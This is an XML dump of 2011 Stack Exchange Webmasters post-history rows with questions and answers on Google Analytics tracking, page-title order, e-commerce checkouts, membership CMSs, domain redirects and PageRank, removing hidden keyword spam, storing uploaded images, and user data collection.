  <row Id="38676" PostHistoryTypeId="2" PostId="16255" RevisionGUID="c346cd6d-fcc5-4708-84d5-dc78700d8a66" CreationDate="2011-06-30T21:18:07.963" UserId="8596" Text="Note that in HTML, the closing ; is optional (though strongly recommended).  &#xD;&#xA;So if you write &quot;one see&amp;copy behavior&quot;, you risk to have a surprise... :-)&#xD;&#xA;&#xD;&#xA;By necessity, browsers are very tolerant to incorrect HTML, that's not a reason to write incorrect HTML! ;-) At least because the tolerance can vary greatly across various browser brands and versions..." />
  <row Id="38677" PostHistoryTypeId="25" PostId="16254" RevisionGUID="4f40e32b-8db7-4ba2-8920-9ff8cb1f8379" CreationDate="2011-06-30T21:26:09.597" Comment="http://twitter.com/#!/StackWebmasters/status/86546084289183744" />
  <row Id="38678" PostHistoryTypeId="2" PostId="16256" RevisionGUID="40d2d4b3-cbc3-408d-ac4b-3c7fc7da3fe1" CreationDate="2011-06-30T22:01:28.190" UserId="4622" Text="I'd like to be able to run two different 'tracks' for Google Analytics; One for anonymous users of the site and another for Users whom are logged-in. &#xD;&#xA;&#xD;&#xA;I say &quot;track&quot; because Im not sure of the term--but I definitely know I want it to all be in the same &quot;Analytics Account&quot;, I just want to segregate my logged-in users... &#xD;&#xA;&#xD;&#xA;In the site template, I can very easily add a conditional to display one or the other (Analytics code snippet)... Which Im hoping this comes down to and although Im not sure, it seems that the last digit in your Analytics ID (e.g. UA-15XXXX0-X) could be incremented to gain such additional 'tracks'....?&#xD;&#xA;&#xD;&#xA;Any tips? Am I doin it wrong?" />
  <row Id="38679" PostHistoryTypeId="1" PostId="16256" RevisionGUID="40d2d4b3-cbc3-408d-ac4b-3c7fc7da3fe1" CreationDate="2011-06-30T22:01:28.190" UserId="4622" Text="Anonymouse VS Logged in users on my site &amp; Google Analytics" />
  <row Id="38680" PostHistoryTypeId="3" PostId="16256" RevisionGUID="40d2d4b3-cbc3-408d-ac4b-3c7fc7da3fe1" CreationDate="2011-06-30T22:01:28.190" UserId="4622" Text="&lt;google-analytics&gt;" />
  <row Id="38681" PostHistoryTypeId="11" PostId="16251" RevisionGUID="0ae86874-b257-45b9-a9e6-0ac4263475ba" CreationDate="2011-06-30T22:23:38.673" UserId="1064" Text="[{&quot;Id&quot;:1064,&quot;DisplayName&quot;:&quot;danlefree&quot;}]" />
  <row Id="38682" PostHistoryTypeId="2" PostId="16257" RevisionGUID="6aceac71-c2ee-4655-b05e-6ed3f3d891d9" CreationDate="2011-06-30T22:36:13.867" UserId="8456" Text="The last digit in the Analytics ID (the final X in your example) denotes a specific tracked site. The first portion (UA-**XXXXXXX**-YY) denotes the Profile the site belongs to (useful for grouping collections of sites when tracking lots).&#xD;&#xA;&#xD;&#xA;As far as I'm concerned, the best way to track multiple streams under one Analytics ID - to keep all data under one site's profile - would be to append a new/different UTM tag onto the URL after the user is logged in, and optionally onto all pages during the logged-in session. Creating multiple Analytics IDs and then rewriting the code depending on whether a user is logged in or not can be extra work for no real reason as you can't easily cross-compare between two sites to track anonymous and authenticated users. (I can appreciate you may have a good reason for doing it this way, however.)&#xD;&#xA;&#xD;&#xA;[Intown Web Design][1] and Google's own Analytics Help pages (specifically the [Analytics URL Builder tool][2]) are highly useful resources to learn and experiment with UTM tagging.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.intownwebdesign.com/google-analytics/google-analytics-utm-link-tagging-explained.html&#xD;&#xA;  [2]: http://www.google.com/support/analytics/bin/answer.py?answer=55578" />
  <row Id="38683" PostHistoryTypeId="2" PostId="16258" RevisionGUID="0eaf6fc3-ce8a-483c-b3f9-e0ab41371b2d" CreationDate="2011-06-30T22:37:50.060" UserId="7369" Text="Definitely Page first, Site second. People usually don't care about the site they're on, they just care about the content.&#xD;&#xA;&#xD;&#xA;If you are browsing with lots of tabs open, how would you distinguish between tons of &quot;Bob's Aw...&quot;?&#xD;&#xA;&#xD;&#xA;Lots of examples of page first: [Reddit][1], [Amazon][2], [Google][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://reddit.com/&#xD;&#xA;  [2]: http://amazon.com/&#xD;&#xA;  [3]: http://www.google.com/search?q=site:webmasters.stackexchange.com" />
  <row Id="38684" PostHistoryTypeId="2" PostId="16259" RevisionGUID="85712266-c504-488f-b905-e940cb918189" CreationDate="2011-06-30T22:49:50.840" UserId="8354" Text="I always go for **Page Name** first:&#xD;&#xA;&#xD;&#xA; - Almost every website these days have individual icon (favicon.ico or similar) -- this alone enough to identify which site it is (unless you opened few sites which share some generic icon or no icon at all).&#xD;&#xA; - What is more important (from user point of view) -- site name or which page he/she is on?&#xD;&#xA; - When you have few tabs of the same site opened you really would like to know in advance on which tab you need to click (just take this site as an example -- open few questions and see how its done and compare how it would look like when al of them start with the same text).&#xD;&#xA;&#xD;&#xA;The above I would apply to almost all sites that I use on regular basis. But if site is small or where it is quite unlikely that user will open few pages at a time (for example: &quot;business card&quot; type of website) then it is not that important what goes first: title or site name.&#xD;&#xA;&#xD;&#xA;Special case is the **home page** -- I would say do it the way suits better for you. Sites where I was working on (mostly e-commerce) -- most of them have Company name first following by some slogan (e.g. &quot;AwesomeSoft - UK supplier of Adobe, Microsoft ....&quot;.)&#xD;&#xA;&#xD;&#xA;I'm not sure which one is more beneficial for SEO (if it makes any difference at all), but I would guess Page Name first still be preferred." />
  <row Id="38685" PostHistoryTypeId="5" PostId="16256" RevisionGUID="bb8eeee1-7dfd-4b40-9f0a-8296b262b8a1" CreationDate="2011-06-30T23:07:48.933" UserId="4622" Comment="added footer snippet example." Text="I'd like to be able to run two different 'tracks' for Google Analytics; One for anonymous users of the site and another for Users whom are logged-in. &#xD;&#xA;&#xD;&#xA;I say &quot;track&quot; because Im not sure of the term--but I definitely know I want it to all be in the same &quot;Analytics Account&quot;, I just want to segregate my logged-in users... &#xD;&#xA;&#xD;&#xA;In the site template, I can very easily add a conditional to display one or the other (Analytics code snippet)... Which Im hoping this comes down to and although Im not sure, it seems that the last digit in your Analytics ID (e.g. UA-15XXXX0-X) could be incremented to gain such additional 'tracks'....?&#xD;&#xA;&#xD;&#xA;Any tips? Am I doin it wrong?&#xD;&#xA;&#xD;&#xA;My current footer snippet:&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt; &#xD;&#xA;        var gaJsHost = ((&quot;https:&quot; == document.location.protocol) ? &quot;https://ssl.&quot; : &quot;http://www.&quot;);&#xD;&#xA;        document.write(unescape(&quot;%3Cscript src='&quot; + gaJsHost + &quot;google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E&quot;));&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt; &#xD;&#xA;        try {&#xD;&#xA;            var pageTracker = _gat._getTracker(&quot;UA-XXXXXXX-1&quot;);&#xD;&#xA;            pageTracker._trackPageview();&#xD;&#xA;        } catch(err) {}&#xD;&#xA;    &lt;/script&gt;" />
  <row Id="38686" PostHistoryTypeId="25" PostId="16256" RevisionGUID="6c9e2557-5726-4792-8ec1-d6cb33652f95" CreationDate="2011-07-01T00:26:30.480" Comment="http://twitter.com/#!/StackWebmasters/status/86591470139748352" />
  <row Id="38687" PostHistoryTypeId="2" PostId="16260" RevisionGUID="47962fd7-b213-46aa-a7a6-a17a0102975f" CreationDate="2011-07-01T02:44:41.523" UserId="8687" Text="Maybe page maybe site, it depends on the purpose of the site.&#xD;&#xA;&#xD;&#xA;If it's a small business site where the pages are named &quot;Products, Services, Help, Support, About us&quot; or similar generic, ever site is the same names, and so these words are less important than the business brand name. So you would put the site name first.&#xD;&#xA;&#xD;&#xA;However, if each page has a special unique name that would be searched for, then put that first and your site name last. You may even want to leave off the site name completely if the page title is very significant or so long that the title would display truncated." />
  <row Id="38688" PostHistoryTypeId="2" PostId="16261" RevisionGUID="21cb99d1-bcca-4b00-a080-5d3b794db595" CreationDate="2011-07-01T03:11:09.390" UserId="8732" Text="Can you recommend an open source package that **supports** all 3 major checkouts out of the box?&#xD;&#xA;&#xD;&#xA;By 3 major checkouts I mean:&#xD;&#xA;&#xD;&#xA; 1. PayPal Express&#xD;&#xA; 2. Amazon Payments&#xD;&#xA; 3. Google Checkout&#xD;&#xA;&#xD;&#xA;Zen-Cart, for example, is great with PayPal, but it is a nightmare to setup and test with Google Checkout.&#xD;&#xA;&#xD;&#xA;Does Joomla support all 3 major checkouts out of the box?" />
  <row Id="38689" PostHistoryTypeId="1" PostId="16261" RevisionGUID="21cb99d1-bcca-4b00-a080-5d3b794db595" CreationDate="2011-07-01T03:11:09.390" UserId="8732" Text="Open source package that SUPPORTS all 3 major checkouts out of the box" />
  <row Id="38690" PostHistoryTypeId="3" PostId="16261" RevisionGUID="21cb99d1-bcca-4b00-a080-5d3b794db595" CreationDate="2011-07-01T03:11:09.390" UserId="8732" Text="&lt;ecommerce&gt;&lt;paypal&gt;&lt;amazon&gt;&lt;checkout&gt;&lt;google-checkout&gt;" />
  <row Id="38691" PostHistoryTypeId="25" PostId="16251" RevisionGUID="589d9518-9f9e-4744-9065-6fb46b9df41e" CreationDate="2011-07-01T03:26:31.697" Comment="http://twitter.com/#!/StackWebmasters/status/86636772188102656" />
  <row Id="38692" PostHistoryTypeId="2" PostId="16262" RevisionGUID="b8378c82-15c9-401f-9636-040cea2ba874" CreationDate="2011-07-01T04:28:03.340" UserId="7296" Text="**Collect as little information as possible.**&#xD;&#xA;&#xD;&#xA;The website is for your customers/users not for you to create a data mart of there personal information.&#xD;&#xA;&#xD;&#xA;It always anoyones me when websites have required fields for things they do not need to know about me. If all you need is my email address, don't make me provide a Full name, phone number, address, etc.&#xD;&#xA;&#xD;&#xA;&gt; &quot;The mark of good design is not when&#xD;&#xA;&gt; there's nothing left to add, but when&#xD;&#xA;&gt; there's nothing left to remove.&quot;&#xD;&#xA;&#xD;&#xA;One of the keys to getting people to sign up to your website is to remove as many barriers as possible. If you absolutely still want this personal information about users then. Consider allowing them to sign up quickly with just and email and password plus and other absolutely necessary information you need for your website to function.  Then at a later date as them if they would like to enter additional details like ‘signing up to newsletters’ etc" />
  <row Id="38693" PostHistoryTypeId="5" PostId="16262" RevisionGUID="812c1c7c-4574-41da-8b30-2b12b8639b33" CreationDate="2011-07-01T04:37:26.513" UserId="7296" Comment="added 1 characters in body" Text="**Collect as little information as possible.**&#xD;&#xA;&#xD;&#xA;The website is for your customers/users not for you to create a data mart of their personal information.&#xD;&#xA;&#xD;&#xA;It always annoys me when websites have required fields for things they do not need to know about me. If all you need is my email address, don't make me provide a Full name, phone number, address, etc.&#xD;&#xA;&#xD;&#xA;&gt; &quot;The mark of good design is not when&#xD;&#xA;&gt; there's nothing left to add, but when&#xD;&#xA;&gt; there's nothing left to remove.&quot;&#xD;&#xA;&#xD;&#xA;One of the keys to getting people to sign up to your website is to remove as many barriers as possible. &#xD;&#xA;&#xD;&#xA;If you absolutely still want this personal information about users then consider allowing them to sign up quickly with just and email and password plus and other absolutely necessary information you need for your website to function.  Then at a later date as them if they would like to enter additional details like ‘signing up to newsletters’ etc" />
  <row Id="38694" PostHistoryTypeId="5" PostId="16251" RevisionGUID="1728fb0d-bd34-4acb-b765-edef658380e9" CreationDate="2011-07-01T05:47:03.753" UserId="3" Comment="deleted 233 characters in body" Text="Apologies if this is a dupe.  I tried searching, but didn't find anything specifically addressing this concern.&#xD;&#xA;&#xD;&#xA;When creating a large(ish) site, page titles usually reference both the site name and the current page name.  However, it seems there are two main conventions:&#xD;&#xA;&#xD;&#xA;    Bob's Awesome Site - Contact Page&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    Contact Page - Bob's Awesome Site&#xD;&#xA;&#xD;&#xA;I've looked around, and pages usually use one of the two variants above.  **Is there any reason to use one over the other?  SEO/readability/usability/etc?**&#xD;&#xA;&#xD;&#xA;I've thought about it, and have only come up with:&#xD;&#xA;&#xD;&#xA; - Page first - Differentiates the tab when the browser is crowded with lots of tabs&#xD;&#xA; - Site first - Immediately see the &quot;parent&quot; site, so to speak; more cohesive experience" />
  <row Id="38695" PostHistoryTypeId="25" PostId="16237" RevisionGUID="4526f41b-8be2-4855-b066-50ba2a69c653" CreationDate="2011-07-01T06:26:32.473" Comment="http://twitter.com/#!/StackWebmasters/status/86682074811072512" />
  <row Id="38696" PostHistoryTypeId="2" PostId="16263" RevisionGUID="3644c524-4cd9-4b5d-92bd-3ea332846eaa" CreationDate="2011-07-01T06:33:46.077" UserId="2115" Text="I have two blogger's blog. (http://chankeypathak.blogspot.com and http://javaenthusiastic.blogspot.com)&#xD;&#xA;&#xD;&#xA;One blog has PR 3 and the other blog has PR 2.&#xD;&#xA;&#xD;&#xA;I want to buy the domain for both blogs so that they will become&#xD;&#xA;&#xD;&#xA;http://chankeypathak.com/ and http://javaenthusiastic.com/&#xD;&#xA;&#xD;&#xA;I will follow all the procedures that Blogger suggests so that all the visitors to http://chankeypathak.blogspot.com will be redirected to http://chankeypathak.com/ and same for the java's blog.&#xD;&#xA;&#xD;&#xA;I just want to know that whether this will affect my pagerank or not? I want my PR to remain same and not to be change because of domain change.&#xD;&#xA;&#xD;&#xA;Let me know. Thank you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;PS: I don't know whether one person is allowed to post his site's URL in questions or not. If it is not allowed then you may edit the question." />
  <row Id="38697" PostHistoryTypeId="1" PostId="16263" RevisionGUID="3644c524-4cd9-4b5d-92bd-3ea332846eaa" CreationDate="2011-07-01T06:33:46.077" UserId="2115" Text="Will domain change affect my pagerank?" />
  <row Id="38698" PostHistoryTypeId="3" PostId="16263" RevisionGUID="3644c524-4cd9-4b5d-92bd-3ea332846eaa" CreationDate="2011-07-01T06:33:46.077" UserId="2115" Text="&lt;domains&gt;&lt;pagerank&gt;" />
  <row Id="38699" PostHistoryTypeId="2" PostId="16264" RevisionGUID="ecd18291-73ed-4470-935a-cbf562b7141d" CreationDate="2011-07-01T07:24:33.903" UserId="8687" Text="Looking at some other blogs that have used the custom domain feature, I see that they have a 301 redirect from the old blogspot URL to the new custom domain URL. I don't know if this is default or something you'll have to configure but this is the correct way to do the redirect and keep your SEO and Page Rank intact.&#xD;&#xA;&#xD;&#xA;After you have set up your new custom domain you can check if the redirection is in place by using an [online tool][1] to view the server responce headers. When viewing the new URL you should get a 200 OK response. For the old URL you should get a 301 redirect responce.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://web-sniffer.net/" />
  <row Id="38700" PostHistoryTypeId="2" PostId="16265" RevisionGUID="c03fbd0a-7864-4203-a299-7761ecb79384" CreationDate="2011-07-01T08:05:51.580" UserId="6913" Text="I have been told Joomla but I am partial to WordPress. Can anyone let me know the best membership CMS, its plus points and any big sites running it." />
  <row Id="38701" PostHistoryTypeId="1" PostId="16265" RevisionGUID="c03fbd0a-7864-4203-a299-7761ecb79384" CreationDate="2011-07-01T08:05:51.580" UserId="6913" Text="Best CMS for a membership site?" />
  <row Id="38702" PostHistoryTypeId="3" PostId="16265" RevisionGUID="c03fbd0a-7864-4203-a299-7761ecb79384" CreationDate="2011-07-01T08:05:51.580" UserId="6913" Text="&lt;cms&gt;" />
  <row Id="38703" PostHistoryTypeId="2" PostId="16266" RevisionGUID="0fc5fa3e-23bf-4235-8e0a-906ec1d88e37" CreationDate="2011-07-01T08:08:45.057" UserId="6228" Text="I'm administering this new website.&#xD;&#xA;&#xD;&#xA;The previous web admin included a large amount of tiny keywords on top of some of its pages.&#xD;&#xA;&#xD;&#xA;I've removed them already.&#xD;&#xA;&#xD;&#xA;I need to know if I have to rest the domain with google webmaster or will google notice the change and take action?&#xD;&#xA;&#xD;&#xA;thanks in advance." />
  <row Id="38704" PostHistoryTypeId="1" PostId="16266" RevisionGUID="0fc5fa3e-23bf-4235-8e0a-906ec1d88e37" CreationDate="2011-07-01T08:08:45.057" UserId="6228" Text="administering new website - Found really tiny keywords inside page" />
  <row Id="38705" PostHistoryTypeId="3" PostId="16266" RevisionGUID="0fc5fa3e-23bf-4235-8e0a-906ec1d88e37" CreationDate="2011-07-01T08:08:45.057" UserId="6228" Text="&lt;keywords&gt;" />
  <row Id="38706" PostHistoryTypeId="2" PostId="16267" RevisionGUID="d9fdf74a-91cf-4049-bb36-85e42d17fddf" CreationDate="2011-07-01T08:12:17.020" UserId="1643" Text="Google will notice the change eventually. However you can request reconsideration:&#xD;&#xA;&#xD;&#xA;&gt; If your site isn't appearing in Google&#xD;&#xA;&gt; search results, or it's performing&#xD;&#xA;&gt; more poorly than it once did (and you&#xD;&#xA;&gt; believe that it does not violate our&#xD;&#xA;&gt; Webmaster Guidelines), you can ask&#xD;&#xA;&gt; Google to reconsider your site.&#xD;&#xA;&gt; &#xD;&#xA;&gt; [Request reconsideration of your site.][1]&#xD;&#xA;&#xD;&#xA;While that doesn't quite apply they also say:&#xD;&#xA;&#xD;&#xA;&gt; In addition, if you recently purchased&#xD;&#xA;&gt; a domain that you think may have&#xD;&#xA;&gt; violated our guidelines before you&#xD;&#xA;&gt; owned it, you can use the&#xD;&#xA;&gt; reconsideration request form to let us&#xD;&#xA;&gt; know that you recently acquired the&#xD;&#xA;&gt; site and that it now adheres to the&#xD;&#xA;&gt; guidelines.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;from https://www.google.com/support/webmasters/bin/answer.py?answer=35843&amp;hl=en_GB&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/webmasters/tools/reconsideration" />
  <row Id="38707" PostHistoryTypeId="2" PostId="16268" RevisionGUID="d92dad10-ddd8-408d-ac08-722b5819b184" CreationDate="2011-07-01T08:45:55.333" UserId="7198" Text="Any comprehensive CMS that supports tiered user levels can be used to build a membership site. You'd need to:&#xD;&#xA;&#xD;&#xA;1. Create pages that are only viewable by a certain user level (with a plugin or by modifying your theme's template code).&#xD;&#xA;2. Create a sign up form that adds the user to your database and marks their account 'inactive'.&#xD;&#xA;3. If it's a paid membership site, redirect users on sign up to a payment processor (choose one that supports subscriptions, such as authorize.net or PayPal).&#xD;&#xA;4. Create a page that your payment provider will ping upon successful payment (using authorize.net's [silent post](http://www.johnconde.net/blog/all-about-authorize-nets-silent-post/) or PayPal's [Payflow](https://cms.paypal.com/cms_content/US/en_US/files/developer/PP_PayflowLink_Guide.pdf) [PDF] features, for example). The script would activate the user's account and send them a welcome email.&#xD;&#xA;5. If they're paying a subscription, you'll need a similar page that your payment provider can ping should they cancel their subscription.&#xD;&#xA;&#xD;&#xA;At the most basic level, that's pretty much it. If you're looking for a more 'plug and play' solution and don't mind paying for add-ons, you might like to try:&#xD;&#xA;&#xD;&#xA; - [ExpressionEngine](http://expressionengine.com) with the [Membrr](http://www.membrr.com/) module.&#xD;&#xA; - [Joomla](http://www.joomla.org/) with the [OSE Membership](http://extensions.joomla.org/extensions/e-commerce/paid-membership-a-subscriptions/7591) extension.&#xD;&#xA; - [Drupal](http://drupal.org/) with the [Membership Suite](http://www.moneyscripts.net/drupal-membership-suite) module.&#xD;&#xA; - [WordPress](http://wordpress.org) with the [Wishlist Member](http://member.wishlistproducts.com/) plugin.&#xD;&#xA;&#xD;&#xA;I've built two (paid) membership sites: the first was custom coded, and the second was with WordPress and [Wishlist Member](http://member.wishlistproducts.com/). I found the Wishlist plugin OK, but the documentation a little lacking; budget a good week or so to understand it and get it up and running.&#xD;&#xA;&#xD;&#xA;If I were building a dedicated membership site again, I'd probably custom code it unless my client's site was already heavily linked to a CMS, or they had a strong preference for one CMS.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="38708" PostHistoryTypeId="2" PostId="16269" RevisionGUID="f5f3d486-0471-475d-a903-f88a6e11174f" CreationDate="2011-07-01T08:53:24.033" UserId="4502" Text="If you need something more complete(there's a possible terminology mismatch here; see my comment on original question) you might try &lt;a href=&quot;http://opensourcetemplates.org/&quot;&gt;Open Source Templates&lt;/a&gt;. They've got a bunch of decent-looking styles that are generic enough you can easily adapt them to whatever your actual site is about." />
  <row Id="38709" PostHistoryTypeId="2" PostId="16270" RevisionGUID="7278a8b5-1a67-4e54-9f7b-8fe60ba849a3" CreationDate="2011-07-01T08:59:52.177" UserId="1643" Text="Depending on where you live there may be local privacy laws which say what you can and can't collect. However it's always best to tell people what you're going to do.&#xD;&#xA;&#xD;&#xA;The usage information you collect depends on what your aims for the site are. You should collect information which tells you how you're achieving that aim. So for example, if you want people to log in often, then record when they log in. If it's that you want them to spend a lot of time there, record the times they did things and look for the things that are close in time so you can spot a single session on your site and measure the length.&#xD;&#xA;" />
  <row Id="38710" PostHistoryTypeId="17" PostId="16271" RevisionGUID="0949b63a-b207-415f-82e8-e71e168524b5" CreationDate="2011-07-01T09:05:26.657" UserId="-1" Comment="from http://stackoverflow.com/questions/6533131/storing-user-uploaded-images" Text="" />
  <row Id="38711" PostHistoryTypeId="2" PostId="16271" RevisionGUID="425eb0d7-7539-4007-8f70-96f80b65c341" CreationDate="2011-06-30T10:05:24.257" UserDisplayName="Nyxynyx" Text="What is the usual practice for handling user uploaded photos and storing them on the database and server?&#xD;&#xA;&#xD;&#xA;For a user profile image:&#xD;&#xA;&#xD;&#xA; 1. After receiving the image file from user, rename file to `&lt;image_id&gt;_&lt;username&gt;`&#xD;&#xA; 2. Move image to `/images/userprofile`&#xD;&#xA; 3. Add img filename to a table `users` containing their profile details like `first_name, last_name, age, gender, birthday`&#xD;&#xA;&#xD;&#xA;For a image for a review done by user:&#xD;&#xA;&#xD;&#xA; 1. After receiving the image file from user, rename file to `&lt;image_id&gt;_&lt;review_id&gt;`&#xD;&#xA; 2. Move image to `/images/reviews`&#xD;&#xA; 3. Add img filename to a table `reviews` containing their profile details like `review_id, review_content, user_id, score`.&#xD;&#xA;&#xD;&#xA;**Question 1**: How should I go about storing the image filenames if the user can upload multiple photos for a particular review? Serialize? &#xD;&#xA;&#xD;&#xA;**Question 2**: Or have another table `review_images` with columns `review_id, image_id, image_filename` just for tracking images? Will doing a `JOIN` when retriving the `image_filename` from this table slow down performance noticeably?&#xD;&#xA;&#xD;&#xA;**Question 3**: Should all the images be stored in a single folder? Will there be a problem when we have 100K photos in the same folder?&#xD;&#xA;&#xD;&#xA;***Is there a more efficient way to go about doing this?***&#xD;&#xA;&#xD;&#xA;" />
  <row Id="38712" PostHistoryTypeId="1" PostId="16271" RevisionGUID="425eb0d7-7539-4007-8f70-96f80b65c341" CreationDate="2011-06-30T10:05:24.257" UserDisplayName="Nyxynyx" Text="Storing User-uploaded Images" />
  <row Id="38713" PostHistoryTypeId="3" PostId="16271" RevisionGUID="425eb0d7-7539-4007-8f70-96f80b65c341" CreationDate="2011-06-30T10:05:24.257" UserDisplayName="Nyxynyx" Text="&lt;php&gt;&lt;mysql&gt;&lt;database&gt;&lt;image&gt;" />
  <row Id="38714" PostHistoryTypeId="2" PostId="16272" RevisionGUID="8c120ca6-d64d-4acb-80bf-ca91b5e7cd1f" CreationDate="2011-07-01T09:20:01.633" UserId="8687" Text="Is it safe to +1 my own sites with google's new +1 button. I've added this button to my web pages but would there be any detrimental effect of clicking this link myself and +1 my own pages?" />
  <row Id="38715" PostHistoryTypeId="1" PostId="16272" RevisionGUID="8c120ca6-d64d-4acb-80bf-ca91b5e7cd1f" CreationDate="2011-07-01T09:20:01.633" UserId="8687" Text="Can I do Google +1 for my own sites?" />
  <row Id="38716" PostHistoryTypeId="3" PostId="16272" RevisionGUID="8c120ca6-d64d-4acb-80bf-ca91b5e7cd1f" CreationDate="2011-07-01T09:20:01.633" UserId="8687" Text="&lt;seo&gt;&lt;google&gt;&lt;social-media&gt;" />
  <row Id="38717" PostHistoryTypeId="25" PostId="16266" RevisionGUID="68bd3fe2-9360-4d7b-8c16-4ad97b94911c" CreationDate="2011-07-01T09:26:31.637" Comment="http://twitter.com/#!/StackWebmasters/status/86727369741697025" />
  <row Id="38718" PostHistoryTypeId="2" PostId="16273" RevisionGUID="bb53b599-7479-434e-a644-01a7255c012e" CreationDate="2011-07-01T09:48:57.023" UserId="5727" Text="I keep the native image name, (append numbers to stop them overwriting each other), and keep them all in one folder, &quot;uploads&quot;.  Sometimes I make this folder not publically accessible, but accessible through a handler to give me more control over it.&#xD;&#xA;&#xD;&#xA;I will never store images in the database, but I do have a relational database and I store records of each upload, user ID of who uploaded it, file name etc.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="38719" PostHistoryTypeId="2" PostId="16274" RevisionGUID="5f3dfe46-bc61-4654-81c2-1f12052b175d" CreationDate="2011-07-01T10:31:56.407" UserId="7588" Text="You can get Google to change the cache version of your site extra quick if you submit a sitemap with Google Webmaster tools and 301 redirect 'old' URLs to 'new' URLs.&#xD;&#xA;&#xD;&#xA;In your .htaccess you can put a rewrite rule in to migrate your site 'slightly', i.e. put a new /path/ in the front of it.&#xD;&#xA;&#xD;&#xA;You will need to download the URLs Google has on you, put them into a big spreadsheet and spend time submitting it, however, the results can be truly beneficial - you will only have the URLs you want to have on Google and they will be freshly indexed to your new content.&#xD;&#xA;&#xD;&#xA;As for meta keywords - Google dropped using them back in the days when people thought it was a good idea to use them for spammy purposes. Instead of completely dropping them put some RDFa or other micro-formats on your page to get new, improved SEO 2.0 semantic-web search excellence." />
  <row Id="38721" PostHistoryTypeId="2" PostId="16275" RevisionGUID="ee9d0ba8-cf0c-4a1d-8db6-abb61f92b9a2" CreationDate="2011-07-01T10:45:24.667" UserId="7198" Text="**Go for it.** If you like your own content, there seems little reason (beyond retaining some sense of modesty) not to recommend it to your friends.&#xD;&#xA;&#xD;&#xA;There's no logical reason for Google to penalise you for plus-one-ing&lt;sup&gt;1&lt;/sup&gt; your own sites, just as there's no logical reason for Facebook to penalise you for liking your own Facebook page. Google +1 is currently used only to provide recommendations within search results for people Google thinks you may know, not to increase your position.&#xD;&#xA;&#xD;&#xA;From [&quot;how does +1 affect search results&quot;](http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=1140194):&#xD;&#xA;&#xD;&#xA;&gt; +1 helps people discover relevant content from the people they&#xD;&#xA;&gt; already know and trust. Adding the +1&#xD;&#xA;&gt; button to your pages lets users&#xD;&#xA;&gt; recommend your content, knowing that&#xD;&#xA;&gt; their friends and contacts will see&#xD;&#xA;&gt; their recommendation in the context of Google&#xD;&#xA;&gt; search results.&#xD;&#xA;&#xD;&#xA;As such, the only thing clicking +1 on your sites will do is to put your name next to your site if a person Google thinks is connected to you (e.g. a user logged into Gmail who you've contacted before) does a search that results in your site appearing in the results.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&lt;hr /&gt;&#xD;&#xA;&lt;sup&gt;1: There must be a better verb for this, but I can't think of one.&lt;/sup&gt;" />
  <row Id="38722" PostHistoryTypeId="5" PostId="16254" RevisionGUID="099780fb-947f-4a83-afe7-afbed9c4e091" CreationDate="2011-07-01T10:51:43.527" UserId="8731" Comment="Clarify the automatic collection" Text="I'm writing a web application that will allow people to create accounts, edit stuff, send stuff to people, &amp;c. I plan on recording things like when things were created and sent and stuff.&#xD;&#xA;&#xD;&#xA;Is there a list of usage information that one should collect in a web application? I'd like to see whether I'm missing something.&#xD;&#xA;&#xD;&#xA;Also, is there a list of usage information that I shouldn't collect (Like maybe information that people find private)?&#xD;&#xA;&#xD;&#xA;EDIT: I was thinking about information that is collected automatically (like timestamps and ip addresses) rather than information that is entered manually." />
  <row Id="38723" PostHistoryTypeId="2" PostId="16276" RevisionGUID="f2d82a59-0646-42e0-aa55-6a4aa6994bb3" CreationDate="2011-07-01T10:57:43.540" UserId="8354" Text="[Magento](http://www.magentocommerce.com) supports all 3 ([Full Features List](http://www.magentocommerce.com/images/uploads/magento-feature-list.pdf), PDF):&#xD;&#xA;&#xD;&#xA; - Integrated with Amazon Payments (Checkout by Amazon and Amazon Simple Pay)&#xD;&#xA; - Integrated with multiple PayPal gateways:&#xD;&#xA;    - Website Payments Standard&#xD;&#xA;    - Website Payments Pro (Express and Direct)&#xD;&#xA;    - Website Payments Pro UK (Express and Direct)&#xD;&#xA;    - PayPal PayFlow Pro&#xD;&#xA; - Integrated with Google Checkout (Level 2)&#xD;&#xA; - Supports a lot of [payment gateways](http://www.magentocommerce.com/product/features/payment/view) via extensions&#xD;&#xA;&#xD;&#xA;Magento Community Edition is free and Open Source." />
  <row Id="38724" PostHistoryTypeId="5" PostId="16266" RevisionGUID="482c68b1-7288-4779-a97f-9f99c1045581" CreationDate="2011-07-01T10:59:13.913" UserId="6228" Comment="added 254 characters in body" Text="I'm administering this new website.&#xD;&#xA;&#xD;&#xA;The previous web admin included a large amount of tiny keywords on top of some of its pages.&#xD;&#xA;&#xD;&#xA;I've removed them already.&#xD;&#xA;&#xD;&#xA;I need to know if I have to rest the domain with google webmaster or will google notice the change and take action?&#xD;&#xA;&#xD;&#xA;thanks in advance.&#xD;&#xA;&#xD;&#xA;edit: They are not meta keyword. They are literally text so small that it looks like a fine line of gibberish on the page itself. This clearly violates google guidelines. My point was more: Do I need to tell google that we are not bad pupils anymore." />
